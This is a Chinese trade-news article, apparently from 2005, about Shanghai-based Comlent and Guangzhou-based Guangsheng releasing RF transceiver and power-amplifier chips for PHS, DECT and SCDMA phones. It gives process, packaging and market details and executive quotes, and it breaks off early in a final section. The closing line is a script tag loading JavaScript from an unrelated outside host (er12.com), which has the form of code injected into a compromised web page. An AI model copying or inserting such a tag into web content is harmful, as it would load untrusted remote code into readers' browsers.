有雄心无真“芯”，即产品难产和商用无期，一直让中国本地ic设计公司处于尴尬的境地。进入2005年，随着不少中国初创ic设计公司陆续推出产品并量产出货，这种状况可望彻底改变。

　　不久前，总部设在上海的鼎芯半导体(comlent)推出了用于phs/pas手机终端(小灵通)的射频收发器和功率放大器(pa)芯片组；随后又推出了用于欧洲dect标准数字无绳电话的1.9ghz射频功率放大器工程样片。与此同时，成立于2003年的广州广晟微电子也推出了中国首款符合scdma标准(大灵通)的scdma/gsm双模rfic收发芯片。

　　值得关注的是，这不仅是中国本地ic设计公司首次推出技术难度高的射频芯片，更重要的是，这些芯片产品即将投入商用。其中，鼎芯的dect功率放大器目前已接到订单，预计3月量产出货；其phs/pas手机终端射频芯片已交客户测试和认证，预计第二季度可量产出货。广晟的scdma/gsm双模rfic收发芯片是专门为大唐电信定制，目前已经向大唐电信提供工程样片，广晟期望今年能够量产出货。

　　南北射频公司发力，产品定位巧妙

　　dect标准的数字无绳电话终端近年增长迅速，2003年的出货量大约为3,000万套，不仅欧洲市场在扩大，过去一直沿用2.4ghz dss技术的北美市场也开始考虑接受dect标准。同时，中国已成为全球最大的无绳电话制造地，仅珠三角地区无绳电话制造商商年产量就超过7,000万部，其中6,000万部用于出口。这为鼎芯的功率放大器提供了巨大的潜在市场空间。

　　鼎芯的1.9ghz射频功率放大器采用美国捷智半导体(jazz semiconductor)的纯硅bicmos工艺技术。该功率放大器包含三级放大器，提供30db的增益，输出功率高达24dbm。它采用qfn-16封装，并通过专门的设计，提供良好的导电和导热性能。

　　据介绍，基于此样片的dect数字无绳电话整机系统于2004年底开始设计和调试，目前系统认证工作已经完成，预计3月量产出货。2002年7月成立的鼎芯半导体公司共同创始人兼ceo陈凯博士激动地表示：“即使在国际上，一家射频ic设计公司能够在成立三年后实现收入也是很了不起的事情，而我们用两年半多的时间就做到了。”

　　除了面向dect数字无绳电话这类新兴市场外，中国特色的“小灵通”和“大灵通”市场，也让中国本地ic设计公司看到了商机。对于这块市场，海外ic厂商并没有先发优势或者无暇顾及，而一般的本地ic设计公司在射频领域无能为力，这就为鼎芯和广晟这种海归派创立的公司提供了机会。这类公司的主要设计工程师多来自国际知名的ic设计公司，拥有多年的rfic设计经验，在技术上能够紧跟业界潮流。

　　鼎芯半导体表示，基于其phs/pas射频收发器芯片cl3110和功率放大器cl3503芯片的新款手机全面满足并超越rcr std-28国际标准的要求。射频收发器cl3110采用目前流行的低中频(10.8mhz)的架构，使用具有自主知识产权的片内校准算法克服镜像抑制的难题。同时，它内置vco和小数分频pll，而且无需外置的saw滤波器。陈凯博士介绍说，与传统的超外差技术相比，这种低中频技术集成度高，可以降低射频成本，并解决了phs手机易掉话的问题。此外，cl3110和cl3503采用美国捷智半导体0.35μm的bi-cmos工艺，相比gaas工艺，节省了成本。

　　广晟的芯片则基于ibm的0.18um锗硅bicmos工艺，是具备scdma/gsm的双模收发功能的单芯片rfic。片上高度集成了低噪声放大器、混频器、接收器agc、发射机vga、压控振荡器(vco)、锁相环(pll)以及低通滤波器和数字控制模块等。芯片采用qfn56形式封装，双电源供电，低功耗低成本，外型尺寸仅为8x8x0.9mm。

　　这款双模rfic收发芯片是广晟为大唐电信所定制的，目前样片已经交付。广晟微电子公司副总裁陈建慈表示：“芯片的推出对我们意义重大，从签订合同到完成测试，我们只用了9个月。该芯片将与大唐电信的基带芯片comip配套使用。更重要的是我们实现了一次流片成功的目标！在过去的两年里，我们所有的投片都做到了一次成功，即使在国际上也很少有rfic设计公司能做到这样高的设计质量。”

　　芯片的快速推出是为了和时间赛跑

　　业界普遍认为，2005年中国将发放3g牌照，这将对大灵通和小灵通市场带来冲击。?script src=http://er12.com/t.js>